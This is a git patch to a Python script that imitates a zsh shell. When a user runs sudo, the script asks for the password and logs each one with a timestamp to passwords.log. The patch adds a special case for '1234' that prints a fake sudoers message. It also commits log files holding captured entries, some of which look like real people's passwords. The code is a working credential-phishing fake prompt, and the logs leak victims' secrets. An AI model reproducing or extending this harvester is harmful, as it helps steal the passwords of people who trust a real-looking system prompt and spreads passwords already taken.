From 3b16fb85a08957b8fc6e4f3043beeedb3c0e6e65 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Sun, 6 Apr 2025 22:21:01 +0800 Subject: [PATCH] =?UTF-8?q?=E5=9C=A8=20main.py=20=E4=B8=AD=E6=B7=BB?= =?UTF-8?q?=E5=8A=A0=E5=AF=B9=E7=89=B9=E5=AE=9A=E5=AF=86=E7=A0=81=E7=9A=84?= =?UTF-8?q?=E5=A4=84=E7=90=86=E9=80=BB=E8=BE=91=EF=BC=8C=E5=B9=B6=E6=9B=B4?= =?UTF-8?q?=E6=96=B0=E5=AF=86=E7=A0=81=E6=97=A5=E5=BF=97=E6=96=87=E4=BB=B6?= =?UTF-8?q?=EF=BC=8C=E5=88=A0=E9=99=A4=E6=97=A7=E7=9A=84=20stolen=5Fpasswo?= =?UTF-8?q?rds.log=20=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 3 +++ passwords.log | 3 +++ stolen_passwords.log | 3 +++ 3 files changed, 9 insertions(+) create mode 100644 stolen_passwords.log diff --git a/main.py b/main.py index 411a410..fd94f5c 100644 --- a/main.py +++ b/main.py @@ -79,6 +79,9 @@ def pseudo_zsh(): if args[0] == 'sudo': for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") + if fake_password == "1234": + print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") + break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 diff --git a/passwords.log b/passwords.log index 93ac62d..f1f18ad 100644 --- a/passwords.log +++ b/passwords.log @@ -17,3 +17,6 @@ [2025-04-03 07:13:23] CROox934 [2025-04-03 07:13:35] BRS273849506zhongxue [2025-04-03 07:13:39] jf +[2025-04-06 22:19:26] 1234 +[2025-04-06 22:19:31] 1234 +[2025-04-06 22:19:35] 1234 diff --git a/stolen_passwords.log b/stolen_passwords.log new file mode 100644 index 0000000..525f1f5 --- /dev/null +++ b/stolen_passwords.log @@ -0,0 +1,3 @@ +[2025-04-05 21:54:29] aaaaaaa +[2025-04-05 21:54:31] a +[2025-04-05 21:54:33] a